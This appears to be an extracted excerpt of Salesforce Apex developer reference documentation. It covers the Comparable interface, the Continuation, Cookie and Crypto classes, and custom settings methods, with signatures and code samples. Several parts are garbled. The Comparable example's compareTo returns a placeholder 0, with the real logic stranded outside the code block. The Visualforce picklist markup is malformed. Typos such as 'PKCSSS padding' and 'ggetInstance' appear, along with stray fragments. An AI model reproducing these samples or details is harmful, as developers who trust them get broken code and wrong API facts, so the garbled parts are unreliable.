The `emailThreadId` argument should have the following format: `_00Dxx1gEW._500xxYktg`. Other formats, such as `ref:_00Dxx1gEW._500xxYktl:ref` and `[ref:_00Dxx1gEW._500xxYktl:ref]`, are invalid.

**Comparable Interface**

Adds sorting support for Lists that contain non-primitive types, that is, Lists of user-defined types.

**Namespace**

`System`

**Usage**

To add List sorting support for your Apex class, you must implement the `Comparable` interface with its `compareTo` method in your class.

To implement the `Comparable` interface, you must first declare a class with the `implements` keyword as follows:

```java
global class Employee implements Comparable {
}
```

Next, your class must provide an implementation for the following method:

```java
global Integer compareTo(Object compareTo) {
    // Your code here
}
```

The implemented method must be declared as `global` or `public`.

**IN THIS SECTION:**

- Comparable Methods
- Comparable Example Implementation

**SEE ALSO:**

- List Class

**Comparable Methods**

The following are methods for `Comparable`.  

1828
IN THIS SECTION:

`compareTo(objectToCompareTo)`

Returns an Integer value that is the result of the comparison.

**compareTo(objectToCompareTo)**

Returns an Integer value that is the result of the comparison.

**Signature**

`public Integer compareTo(Object objectToCompareTo)`

**Parameters**

- **objectToCompareTo**
  Type: Object

**Return Value**

Type: Integer

**Usage**

The implementation of this method should return the following values:

- 0 if this instance and `objectToCompareTo` are equal
- > 0 if this instance is greater than `objectToCompareTo`
- < 0 if this instance is less than `objectToCompareTo`

**Comparable Example Implementation**

This is an example implementation of the `Comparable` interface. The `compareTo` method in this example compares the employee of this class instance with the employee passed in the argument. The method returns an Integer value based on the comparison of the employee IDs.

```java
@global class Employee implements Comparable {
    public Long id;
    public String name;
    public String phone;

    // Constructor
    public Employee(Long i, String n, String p) {
        id = i;
        name = n;
        phone = p;
    }

    // Implement the compareTo() method
    public Integer compareTo(Object compareTo) {
        Employee compareToEmp = (Employee)compareTo;
        return 0;  // Placeholder implementation
    }
}
```
if (id == compareToEmp.id) return 0;
if (id > compareToEmp.id) return 1;
return -1;
}

This example tests the sort order of a list of Employee objects.

private class EmployeeSortingTest {
    static testmethod void test1() {
        List<Employee> empList = new List<Employee>();
        empList.add(new Employee(101,'Joe Smith', '4155551212'));
        empList.add(new Employee(101,'J. Smith', '4155551212'));
        empList.add(new Employee(25,'Caragh Smith', '4155551000'));
        empList.add(new Employee(105,'Mario Ruiz', '4155551099'));

        // Sort using the custom compareTo() method
        empList.sort();

        // Write list contents to the debug log
        System.debug(empList);

        // Verify list sort order.
        System.assertEquals('Caragh Smith', empList[0].Name);
        System.assertEquals('Joe Smith', empList[1].Name);
        System.assertEquals('J. Smith', empList[2].Name);
        System.assertEquals('Mario Ruiz', empList[3].Name);
    }
}

Continuation Class

Use the Continuation class to make callouts asynchronously to a SOAP or REST Web service.

Namespace

System

Example

For a code example, see Make Long-Running Callouts from a Visualforce Page.

IN THIS SECTION:
  Continuation Constructors
  Continuation Properties
  Continuation Methods
Continuation Constructors

The following are constructors for Continuation.

IN THIS SECTION:

Continuation(timeout)

Creates an instance of the Continuation class by using the specified timeout in seconds. The timeout limit is 120 seconds.

Signature

public Continuation(Integer timeout)

Parameters

timeout

Type: Integer

The timeout for this continuation in seconds.

Continuation Properties

The following are properties for Continuation.

IN THIS SECTION:

continuationMethod

The name of the callback method that is called after the callout response returns.

timeout

The timeout of the continuation in seconds. Limit: 120 seconds.

state

Data that is stored in this continuation and that can be retrieved after the callout is finished and the callback method is invoked.

continuationMethod

The name of the callback method that is called after the callout response returns.

Signature

public String continuationMethod {get; set;}

Property Value

Type: String
Usage

Note: If the `continuationMethod` property is not set for a Continuation, the same action method that made the asynchronous callout is called again when the callout response returns.

**timeout**

The timeout of the continuation in seconds. Limit: 120 seconds seconds.

**Signature**

`public Integer timeout {get; set;}`

**Property Value**

Type: `Integer`

**state**

Data that is stored in this continuation and that can be retrieved after the callout is finished and the callback method is invoked.

**Signature**

`public Object state {get; set;}`

**Property Value**

Type: `Object`

**Example**

This example shows how to save state information for a continuation in a controller.

```csharp
// Declare inner class to hold state info
private class StateInfo {
    String msg { get; set; }  
    List<String> urls { get; set; }  
    StateInfo(String msg, List<String> urls) {  
        this.msg = msg;  
        this.urls = urls;  
    }  
}

// Then in the action method, set state for the continuation
continuationInstance.state = new StateInfo('Some state data', urls);
```

**Continuation Methods**

The following are methods for `Continuation`. 
IN THIS SECTION:

- **addHttpRequest(request)**
  Adds the HTTP request for the callout that is associated with this continuation.

- **getRequests()**
  Returns all labels and requests that are associated with this continuation as key-value pairs.

- **getResponse(requestLabel)**
  Returns the response for the request that corresponds to the specified label.

---

**addHttpRequest (request)**

Adds the HTTP request for the callout that is associated with this continuation.

**Signature**

```java
public String addHttpRequest(System.HttpRequest request)
```

**Parameters**

- **request**
  Type: `HttpRequest`
  The HTTP request to be sent to the external service by this continuation.

**Return Value**

Type: `String`

A unique label that identifies the HTTP request that is associated with this continuation. This label is used in the map that `getRequests()` returns to identify individual requests in a continuation.

**Usage**

You can add up to three requests to a continuation.

⚠️ **Note:** The timeout that is set in each passed-in request is ignored. Only the global timeout limit of 120 seconds applies for a continuation.

---

**getRequests()**

Returns all labels and requests that are associated with this continuation as key-value pairs.

**Signature**

```java
public Map<String, System.HttpRequest> getRequests()
```

**Return Value**

Type: `Map<String, HttpRequest>`

A map of all requests that are associated with this continuation. The map key is the request label, and the map value is the corresponding HTTP request.
getResponse (requestLabel)
Returns the response for the request that corresponds to the specified label.

Signature
public static HttpResponse getResponse(String requestLabel)

Parameters
requestLabel
Type: String
The request label to get the response for.

Return Value
Type: HttpResponse

Usage
The status code is returned in the HttpResponse object and can be obtained by calling getStatusCode () on the response. A status code of 200 indicates that the request was successful. Other status code values indicate the type of problem that was encountered.

Sample of Error Status Codes
When a problem occurs with the response, some possible status code values are:

• 2000: The timeout was reached, and the server didn’t get a chance to respond.
• 2001: There was a connection failure.
• 2002: Exceptions occurred.
• 2003: The response hasn’t arrived (which also means that the Apex asynchronous callout framework hasn’t resumed).
• 2004: The response size is too large (greater than 1 MB).

Cookie Class
The Cookie class lets you access cookies for your Force.com site using Apex.

Namespace
System

Usage
Use the setCookies method of the PageReference Class to attach cookies to a page.

Important:
• Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation.
• The setCookies method adds the prefix “apex__” to the cookie names.
• Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
After you create a cookie, the properties of the cookie can't be changed.

Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Caching Force.com Sites Pages” in the Salesforce online help.

Consider the following limitations when using the Cookie class:

- The Cookie class can only be accessed using Apex that is saved using the Salesforce API version 19 and above.
- The maximum number of cookies that can be set per Force.com domain depends on your browser. Newer browsers have higher limits than older ones.
- Cookies must be less than 4K, including name and attributes.

For more information on sites, see “Force.com Sites Overview” in the Salesforce online help.

Example

The following example creates a class, CookieController, which is used with a Visualforce page (see markup below) to update a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie.

```java
// A Visualforce controller class that creates a cookie
// used to keep track of how often a user displays a page
public class CookieController {

    public CookieController() {
        Cookie counter = ApexPages.currentPage().getCookies().get('counter');

        // If this is the first time the user is accessing the page,
        // create a new cookie with name 'counter', an initial value of '1',
        // path 'null', maxAge '-1', and isSecure 'false'.
        if (counter == null) {
            counter = new Cookie('counter','1',null,-1,false);
        } else {
            // If this isn't the first time the user is accessing the page
            // create a new cookie, incrementing the value of the original count by 1
            Integer count = Integer.valueOf(counter.getValue());
            counter = new Cookie('counter', String.valueOf(count+1),null,-1,false);
        }

        // Set the new cookie for the page
        ApexPages.currentPage().setCookies(new Cookie[]{counter});
    }

    // This method is used by the Visualforce action {!count} to display the current
    // value of the number of times a user had displayed a page.
    // This value is stored in the cookie.
    public String getCount() {
        Cookie counter = ApexPages.currentPage().getCookies().get('counter');
        if(counter == null) {
            return '0';
        }

        return counter.getValue();
    }
}
```
Test class for the Visualforce controller
@isTest
private class CookieControllerTest {
    // Test method for verifying the positive test case
    static testMethod void testCounter() {
        // first page view
        CookieController controller = new CookieController();
        System.assert(controller.getCount() == '1');

        // second page view
        controller = new CookieController();
        System.assert(controller.getCount() == '2');
    }
}

The following is the Visualforce page that uses the CookieController Apex controller above. The action {!count} calls the getCount method in the controller above.

<apex:page controller="CookieController">
    You have seen this page {!count} times
</apex:page>

IN THIS SECTION:
    Cookie Constructors
    Cookie Methods

Cookie Constructors

The following are constructors for Cookie.

IN THIS SECTION:
    Cookie(name, value, path, maxAge, isSecure)
    Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.

**Cookie**(name, value, path, maxAge, isSecure)

Creates a new instance of the Cookie class using the specified name, value, path, age, and the secure setting.

**Signature**

public Cookie(String name, String value, String path, Integer maxAge, Boolean isSecure)

**Parameters**

name  
Type: String
The cookie name. It can't be null.

`value`
- Type: `String`
- The cookie data, such as session ID.

`path`
- Type: `String`
- The path from where you can retrieve the cookie.

`maxAge`
- Type: `Integer`
- A number representing how long a cookie is valid for in seconds. If set to less than zero, a session cookie is issued. If set to zero, the cookie is deleted.

`isSecure`
- Type: `Boolean`
- A value indicating whether the cookie can only be accessed through HTTPS (`true`) or not (`false`).

**Cookie Methods**

The following are methods for `Cookie`. All are instance methods.

**IN THIS SECTION:**

- `getDomain()`
  - Returns the name of the server making the request.
- `getMaxAge()`
  - Returns a number representing how long the cookie is valid for, in seconds. If set to `< 0`, a session cookie is issued. If set to `0`, the cookie is deleted.
- `getName()`
  - Returns the name of the cookie. Can't be `null`.
- `getPath()`
  - Returns the path from which you can retrieve the cookie. If `null` or blank, the location is set to root, or `"/"`.
- `getValue()`
  - Returns the data captured in the cookie, such as Session ID.
- `isSecure()`
  - Returns `true` if the cookie can only be accessed through HTTPS, otherwise returns `false`.

**getDomain()**

Returns the name of the server making the request.

**Signature**

```java
public String getDomain()
```
Return Value
Type: String

**getMaxAge()**
Returns a number representing how long the cookie is valid for, in seconds. If set to $< 0$, a session cookie is issued. If set to $0$, the cookie is deleted.

Signature
```
public Integer getMaxAge()
```

Return Value
Type: Integer

**getName()**
Returns the name of the cookie. Can't be null.

Signature
```
public String getName()
```

Return Value
Type: String

**getPath()**
Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or “/”.

Signature
```
public String getPath()
```

Return Value
Type: String

**getValue()**
Returns the data captured in the cookie, such as Session ID.

Signature
```
public String getValue()
```
Return Value
Type: String

**isSecure()**

Returns `true` if the cookie can only be accessed through HTTPS, otherwise returns `false`.

**Signature**

```
public Boolean isSecure()
```
<table>

**Crypto Methods**

The following are methods for Crypto. All methods are static.

**IN THIS SECTION:**

- **decrypt(algorithmName, privateKey, initializationVector, cipherText)**
  Decrypts the Blob \( cipherText \) using the specified algorithm, private key, and initialization vector. Use this method to decrypt blobs encrypted using a third party application or the `encrypt` method.

- **decryptWithManagedIV(algorithmName, privateKey, IVAndCipherText)**
  Decrypts the Blob \( IVAndCipherText \) using the specified algorithm and private key. Use this method to decrypt blobs encrypted using a third party application or the `encryptWithManagedIV` method.

- **encrypt(algorithmName, privateKey, initializationVector, clearText)**
  Encrypts the Blob \( clearText \) using the specified algorithm, private key and initialization vector. Use this method when you want to specify your own initialization vector.

- **encryptWithManagedIV(algorithmName, privateKey, clearText)**
  Encrypts the Blob \( clearText \) using the specified algorithm and private key. Use this method when you want Salesforce to generate the initialization vector for you.

- **generateAesKey(size)**
  Generates an Advanced Encryption Standard (AES) key.

- **generateDigest(algorithmName, input)**
  Computes a secure, one-way hash digest based on the supplied input string and algorithm name.

- **generateMac(algorithmName, input, privateKey)**
  Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm.

- **getRandomInteger()**
  Returns a random Integer.
getRandomLong()
Returns a random Long.

sign(algorithmName, input, privateKey)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied private key.

signWithCertificate(algorithmName, input, certDevName)
Computes a unique digital signature for the input string, using the specified algorithm and the supplied certificate and key pair.

signXML(algorithmName, node, idAttributeName, certDevName)
Envelops the signature into an XML document.

decrypt(algorithmName, privateKey, initializationVector, cipherText)
Decrypts the Blob cipherText using the specified algorithm, private key, and initialization vector. Use this method to decrypt blobs encrypted using a third party application or the encrypt method.

Signature

public static Blob decrypt(String algorithmName, Blob privateKey, Blob initializationVector, Blob cipherText)

Parameters

algorithmName
Type: String

privateKey
Type: Blob

initializationVector
Type: Blob

cipherText
Type: Blob

Return Value
Type: Blob

Usage

Valid values for algorithmName are:

- AES128
- AES192
- AES256

These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCSSS padding.

The length of privateKey must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively.

You can use a third-party application or the generateAesKey method to generate this key for you.

The initialization vector must be 128 bits (16 bytes.)
Example

```java
Blob exampleIv = Blob.valueOf('Example of IV123');
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encrypt('AES128', key, exampleIv, data);

Blob decrypted = Crypto.decrypt('AES128', key, exampleIv, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
```

decryptWithManagedIV(algorithmName, privateKey, IVAndCipherText)

Decrypts the Blob `IVAndCipherText` using the specified algorithm and private key. Use this method to decrypt blobs encrypted using a third party application or the encryptWithManagedIV method.

Signature

```java
public static Blob decryptWithManagedIV(String algorithmName, Blob privateKey, Blob IVAndCipherText)
```

Parameters

- `algorithmName`  
  Type: String
- `privateKey`  
  Type: Blob
- `IVAndCipherText`  
  Type: Blob

The first 128 bits (16 bytes) of `IVAndCipherText` must contain the initialization vector.

Return Value

Type: Blob

Usage

Valid values for `algorithmName` are:

- AES128
- AES192
- AES256

These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS5 padding.

The length of `privateKey` must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively. You can use a third-party application or the `generateAesKey` method to generate this key for you.
Example

```java
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encryptWithManagedIV('AES128', key, data);

Blob decrypted = Crypto.decryptWithManagedIV('AES128', key, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
```

**encrypt(algorithmName, privateKey, initializationVector, clearText)**

Encrypts the Blob `clearText` using the specified algorithm, private key and initialization vector. Use this method when you want to specify your own initialization vector.

**Signature**

```java
public static Blob encrypt(String algorithmName, Blob privateKey, Blob initializationVector, Blob clearText)
```

**Parameters**

- `algorithmName`  
  Type: String
- `privateKey`  
  Type: Blob
- `initializationVector`  
  Type: Blob
- `clearText`  
  Type: Blob

**Return Value**

Type: Blob

**Usage**

The initialization vector must be 128 bits (16 bytes.) Use either a third-party application or the `decrypt` method to decrypt blobs encrypted using this method. Use the `encryptWithManagedIV` method if you want Salesforce to generate the initialization vector for you. It is stored as the first 128 bits (16 bytes) of the encrypted Blob.

Valid values for `algorithmName` are:

- AES128
- AES192
- AES256

These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS5 padding.

The length of `privateKey` must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively. You can use a third-party application or the `generateAesKey` method to generate this key for you.
Example

```java
Blob exampleIv = Blob.valueOf('Example of IV123');
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encrypt('AES128', key, exampleIv, data);

Blob decrypted = Crypto.decrypt('AES128', key, exampleIv, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
```

`encryptWithManagedIV(algorithmName, privateKey, clearText)`

Encrypts the Blob `clearText` using the specified algorithm and private key. Use this method when you want Salesforce to generate the initialization vector for you.

**Signature**

```java
public static Blob encryptWithManagedIV(String algorithmName, Blob privateKey, Blob clearText)
```

**Parameters**

- `algorithmName`  
  Type: String
- `privateKey`  
  Type: Blob
- `clearText`  
  Type: Blob

**Return Value**

Type: Blob

**Usage**

The initialization vector is stored as the first 128 bits (16 bytes) of the encrypted Blob. Use either third-party applications or the `decryptWithManagedIV` method to decrypt blobs encrypted with this method. Use the `encrypt` method if you want to generate your own initialization vector.

Valid values for `algorithmName` are:

- AES128
- AES192
- AES256

These are all industry standard Advanced Encryption Standard (AES) algorithms with different size keys. They use cipher block chaining (CBC) and PKCS5 padding.

The length of `privateKey` must match the specified algorithm: 128 bits, 192 bits, or 256 bits, which is 16, 24, or 32 bytes, respectively. You can use a third-party application or the `generateAesKey` method to generate this key for you.
Example

```java
Blob key = Crypto.generateAesKey(128);
Blob data = Blob.valueOf('Data to be encrypted');
Blob encrypted = Crypto.encryptWithManagedIV('AES128', key, data);

Blob decrypted = Crypto.decryptWithManagedIV('AES128', key, encrypted);
String decryptedString = decrypted.toString();
System.assertEquals('Data to be encrypted', decryptedString);
```

generateAesKey(size)
Generates an Advanced Encryption Standard (AES) key.

**Signature**

```java
public static Blob generateAesKey(Integer size)
```

**Parameters**

- **size**
  - Type: `Integer`
  - The key's size in bits. Valid values are:
    - 128
    - 192
    - 256

**Return Value**

Type: `Blob`

**Example**

```java
Blob key = Crypto.generateAesKey(128);
```

generateDigest(algorithmName, input)
Computes a secure, one-way hash digest based on the supplied input string and algorithm name.

**Signature**

```java
public static Blob generateDigest(String algorithmName, Blob input)
```

**Parameters**

- **algorithmName**
  - Type: `String`
  - Valid values for `algorithmName` are:
    - MD5
• SHA1
• SHA-256
• SHA-512

*input*
  Type: Blob

Return Value
  Type: Blob

Example

```java
Blob targetBlob = Blob.valueOf('ExampleMD5String');
Blob hash = Crypto.generateDigest('MD5', targetBlob);
```

**generateMac(algorithmName, input, privateKey)**

Computes a message authentication code (MAC) for the input string, using the private key and the specified algorithm.

Signature

```java
public static Blob generateMac(String algorithmName, Blob input, Blob privateKey)
```

Parameters

*algorithmName*
  Type: String
  The valid values for *algorithmName* are:
  • hmacMD5
  • hmacSHA1
  • hmacSHA256
  • hmacSHA512

*input*
  Type: Blob

*privateKey*
  Type: Blob
  The value of *privateKey* does not need to be in decoded form. The value cannot exceed 4 KB.

Return Value

Type: Blob

Example

```java
String salt = String.valueOf(Crypto.getRandomInteger());
String key = 'key';
```
Blob data = crypto.generateMac('HmacSHA256', Blob.valueOf(salt), Blob.valueOf(key));

**getRandomInteger()**

Returns a random Integer.

**Signature**

public static Integer getRandomInteger()

**Return Value**

Type: Integer

**Example**

Integer randomInt = Crypto.getRandomInteger();

**getRandomLong()**

Returns a random Long.

**Signature**

public static Long getRandomLong()

**Return Value**

Type: Long

**Example**

Long randomLong = Crypto.getRandomLong();

**sign(algorithmName, input, privateKey)**

Computes a unique digital signature for the input string, using the specified algorithm and the supplied private key.

**Signature**

public static Blob sign(String algorithmName, Blob input, Blob privateKey)

**Parameters**

algorithmName

Type: String

The algorithm name. The valid values for algorithmName are RSA-SHA1, RSA-SHA256, or RSA.

RSA-SHA1 is an RSA signature (with an asymmetric key pair) of a SHA1 hash.
RSA-SHA256 is an RSA signature of a SHA256 hash.

RSA is the same as RSA-SHA1.

**input**
Type: Blob
The data to sign.

**privateKey**
Type: Blob
The value of privateKey must be decoded using the EncodingUtil.base64Decode method, and should be in RSA's PKCS #8 (1.2) Private-Key Information Syntax Standard form. The value cannot exceed 4 KB.

**Return Value**
Type: Blob

**Example**
The following snippet shows how to call the sign method.

```java
String algorithmName = 'RSA';
String key = ''; 
Blob privateKey = EncodingUtil.base64Decode(key);
Blob input = Blob.valueOf('12345qwerty');
Crypto.sign(algorithmName, input, privateKey);
```

**signWithCertificate(algorithmName, input, certDevName)**
Computes a unique digital signature for the input string, using the specified algorithm and the supplied certificate and key pair.

**Signature**

```java
public static Blob signWithCertificate(String algorithmName, Blob input, String certDevName)
```

**Parameters**

**algorithmName**
Type: String
The algorithm name. The valid values for algorithmName are RSA-SHA1, RSA-SHA256, or RSA.

RSA-SHA1 is an RSA signature (with an asymmetric key pair) of a SHA1 hash.

RSA-SHA256 is an RSA signature of a SHA256 hash.

RSA is the same as RSA-SHA1.

**input**
Type: Blob
The data to sign.

**certDevName**
Type: String
The Unique Name for a certificate stored in the Salesforce organization's Certificate and Key Management page to use for signing. To access the Certificate and Key Management page from Setup, enter Certificate and Key Management in the Quick Find box, then select Certificate and Key Management.

Return Value
Type: Blob

Example
The following snippet is an example of the method for signing the content referenced by `data`.

```java
Blob data = Blob.valueOf('12345qwerty');
System.Crypto.signWithCertificate('RSA-SHA256', data, 'signingCert');
```

`signXML(algorithmName, node, idAttributeName, certDevName)`
Envelops the signature into an XML document.

Signature
```java
public Void signXML(String algorithmName, Dom.XmlNode node, String idAttributeName, String certDevName)
```

Parameters
- **algorithmName**
  - Type: `String`
  - The algorithm name. The valid values for `algorithmName` are RSA-SHA1, RSA-SHA256, or RSA.
  - RSA-SHA1 is an RSA signature (with an asymmetric key pair) of a SHA1 hash.
  - RSA-SHA256 is an RSA signature of a SHA256 hash.
  - RSA is the same as RSA-SHA1.
- **node**
  - Type: `Dom.XmlNode`
  - The XML node to sign and insert the signature into.
- **idAttributeName**
  - Type: `String`
  - The full name (including the namespace) of the attribute on the node (XmlNode) to use as the reference ID. If `null`, this method uses the ID attribute on the node. If there is no ID attribute, Salesforce generates a new ID and modifies the node by inserting this ID.
- **certDevName**
  - Type: `String`
  - The Unique Name for a certificate stored in the Salesforce organization's Certificate and Key Management pageto use for signing. To access the Certificate and Key Management page from Setup, enter Certificate and Key Management in the Quick Find box, then select Certificate and Key Management.
Return Value

Type: Void

Example

The following snippet is an example declaration and initialization.

```java
doc.load(...);
System.Crypto.signXml('RSA-SHA256', doc.getRootElement(), null, 'signingCert');
return doc.toXmlString();
```

Custom Settings Methods

Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, flows, Apex, and the SOAP API.

Usage

Custom settings methods are all instance methods, that is, they are called by and operate on a particular instance of a custom setting. There are two types of custom settings: hierarchy and list. The methods are divided into those that work with list custom settings, and those that work with hierarchy custom settings.

**Note:** All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. However, querying custom settings data using Standard Object Query Language (SOQL) doesn't make use of the application cache and is similar to querying a custom object. To benefit from caching, use other methods for accessing custom settings data such as the Apex Custom Settings methods.

For more information on creating custom settings in the Salesforce user interface, see “Custom Settings” in the Salesforce online help.

Custom Setting Examples

The following example uses a list custom setting called Games. Games has a field called GameType. This example determines if the value of the first data set is equal to the string 'PC'.

```java
List<Games__C> mcs = Games__c.getall().values();
boolean textField = null;
if (mcs[0].GameType__c == 'PC') {
    textField = true;
}

system.assertEquals(textField, true);
```

The following example uses a custom setting from Country and State Code Custom Settings Example. This example demonstrates that the getValues and getInstance methods list custom setting return identical values.

```java
Foundation_Countries__c myCS1 = Foundation_Countries__c.getValues('United States');
String myCCVal = myCS1.Country_code__c;
Foundation_Countries__c myCS2 = Foundation_Countries__c.getInstance('United States');
String myCCInst = myCS2.Country_code__c;

system.assertEquals(myCCInst, myCCVal);
```
Hierarchy Custom Setting Examples

In the following example, the hierarchy custom setting GamesSupport has a field called Corporate_number. The code returns the value for the profile specified with pid.

```java
GamesSupport__c mhc = GamesSupport__c.getInstance(pid);
string mPhone = mhc.Corporate_number__c;
```

The example is identical if you choose to use the getValues method.

The following example shows how to use hierarchy custom settings methods. For getInstance, the example shows how field values that aren't set for a specific user or profile are returned from fields defined at the next lowest level in the hierarchy. The example also shows how to use getOrgDefaults.

Finally, the example demonstrates how getValues returns fields in the custom setting record only for the specific user or profile, and doesn’t merge values from other levels of the hierarchy. Instead, getValues returns null for any fields that aren’t set. This example uses a hierarchy custom setting called Hierarchy. Hierarchy has two fields: OverrideMe and DontOverrideMe. In addition, a user named Robert has a System Administrator profile. The organization, profile, and user settings for this example are as follows:

**Organization settings**
- OverrideMe: Hello
- DontOverrideMe: World

**Profile settings**
- OverrideMe: Goodbye
- DontOverrideMe is not set.

**User settings**
- OverrideMe: Fluffy
- DontOverrideMe is not set.

The following example demonstrates the result of the getInstance method if Robert calls it in his organization:

```java
Hierarchy__c CS = Hierarchy__c.getInstance();
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
```

If Robert passes his user ID specified by RobertId to getInstance, the results are the same. This is because the lowest level of data in the custom setting is specified at the user level.

```java
Hierarchy__c CS = Hierarchy__c.getInstance(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
System.assert(CS.DontOverrideMe__c == 'World');
```

If Robert passes the System Administrator profile ID specified by SysAdminID to getInstance, the result is different. The data specified for the profile is returned:

```java
Hierarchy__c CS = Hierarchy__c.getInstance(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
System.assert(CS.DontOverrideMe__c == 'World');
```

When Robert tries to return the data set for the organization using getOrgDefaults, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getOrgDefaults();
System.Assert(CS.OverrideMe__c == 'Hello');
System.assert(CS.DontOverrideMe__c == 'World');
```
By using the `getValues` method, Robert can get the hierarchy custom setting values specific to his user and profile settings. For example, if Robert passes his user ID `RobertId` to `getValues`, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getValues(RobertId);
System.Assert(CS.OverrideMe__c == 'Fluffy');
// Note how this value is null, because you are returning
// data specific for the user
System.assert(CS.DontOverrideMe__c == null);
```

If Robert passes his System Administrator profile ID `SysAdminID` to `getValues`, the result is:

```java
Hierarchy__c CS = Hierarchy__c.getValues(SysAdminID);
System.Assert(CS.OverrideMe__c == 'Goodbye');
// Note how this value is null, because you are returning
// data specific for the profile
System.assert(CS.DontOverrideMe__c == null);
```

**Country and State Code Custom Settings Example**

This example illustrates using two custom setting objects for storing related information, and a Visualforce page to display the data in a set of related picklists.

In the following example, country and state codes are stored in two different custom settings: `Foundation_Countries` and `Foundation_States`.

The `Foundation_Countries` custom setting is a list type custom setting and has a single field, `Country_Code`.

The `Foundation_States` custom setting is also a List type of custom setting and has the following fields:

- **Country Code**
- **State Code**
- **State Name**
The Visualforce page shows two picklists: one for country and one for state.

```xml
<apex:page controller="CountryStatePicker">
  <apex:form>
    <apex:actionFunction name="rerenderStates" rerender="statesSelectList"/>
    <apex:param name="firstParam" assignTo="{!country}" value=""/>
  </apex:actionFunction>
  <table><tbody>
    <tr><th>Country</th><td>
      <apex:selectList id="country" styleClass="std" size="1"
                        value="{!country}" onChange="rerenderStates(this.value)"
                        value="{"countriesSelectList}"/>
    </td></tr>
    <tr id="state_input"></tr>
  </table>
</apex:page>
```
The Apex controller `CountryStatePicker` finds the values entered into the custom settings, then returns them to the Visualforce page.

```java
public with sharing class CountryStatePicker {

    // Variables to store country and state selected by user
    public String state { get; set; }
    public String country {get; set;}

    // Generates country dropdown from country settings
    public List<SelectOption> getCountriesSelectList() {
        List<SelectOption> options = new List<SelectOption>();
        options.add(new SelectOption('', '-- Select One --'));
        Map<String, Foundation_Countries__c> countries = Foundation_Countries__c.getAll();

        // Sort them by name
        List<String> countryNames = new List<String>();
        countryNames.addAll(countries.keySet());
        countryNames.sort();

        // Create the Select Options.
        for (String countryName : countryNames) {
            Foundation_Countries__c country = countries.get(countryName);
            options.add(new SelectOption(country.country_code__c, country.Name));
        }
        return options;
    }

    // To generate the states picklist based on the country selected by user.
    public List<SelectOption> getStatesSelectList() {
        List<SelectOption> options = new List<SelectOption>();
        Map<String, Foundation_States__c> allstates = Foundation_States__c.getAll();

        // Filter states that belong to the selected country
        Map<String, Foundation_States__c> states = new Map<String, Foundation_States__c>();
        for(Foundation_States__c state : allstates.values()) {
            if (state.country_code__c == this.country) {
                states.put(state.name, state);
        }
```
// Sort the states based on their names
List<String> stateNames = new List<String>();
stateNames.addAll(states.keySet());
stateNames.sort();

// Generate the Select Options based on the final sorted list
for (String stateName : stateNames) {
    Foundation_States__c state = states.get(stateName);
    options.add(new SelectOption(state.state_code__c, state.state_name__c));
}

// If no states are found, just say not required in the dropdown.
if (options.size() > 0) {
    options.add(0, new SelectOption('', ' -- Select One --'));
} else {
    options.add(new SelectOption('', 'Not Required'));
}
return options;

List Custom Setting Methods
Hierarchy Custom Setting Methods

SEE ALSO:
Custom Settings

List Custom Setting Methods
The following are instance methods for list custom settings.

IN THIS SECTION:
getAll()
Returns a map of the data sets defined for the custom setting.
getInstance(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getValues(dataSetName).
getValues(dataSetName)
Returns the custom setting data set record for the specified data set name. This method returns the exact same object as
getInstance(dataSetName).
getAll()  
Returns a map of the data sets defined for the custom setting.

Signature

public Map<String, CustomSetting__c> getAll()

Return Value

Type: Map<String, CustomSetting__c>

Usage

If no data set is defined, this method returns an empty map.

Note: For Apex saved using SalesforceAPI version 20.0 or earlier, the data set names, which are the keys in the returned map, are converted to lower case. For Apex saved using SalesforceAPI version 21.0 and later, the case of the data set names in the returned map keys is not changed and the original case is preserved.

ggetInstance(dataSetName)

Returns the custom setting data set record for the specified data set name. This method returns the exact same object as getValues(dataSetName).

Signature

public CustomSetting__c getInstance(String dataSetName)

Parameters

dataSetName
  Type: String

Return Value

Type: CustomSetting__c

Usage

If no data is defined for the specified data set, this method returns null.

ggetValues(dataSetName)

Returns the custom setting data set record for the specified data set name. This method returns the exact same object as getInstance(dataSetName).

Signature

public CustomSetting__c getValues(String dataSetName)
Parameters

dataSetName
  Type: String

Return Value

Type: CustomSetting__c

Usage

If no data is defined for the specified data set, this method returns null.

Hierarchy Custom Setting Methods

The following are instance methods for hierarchy custom settings.

IN THIS SECTION:

getInstance()
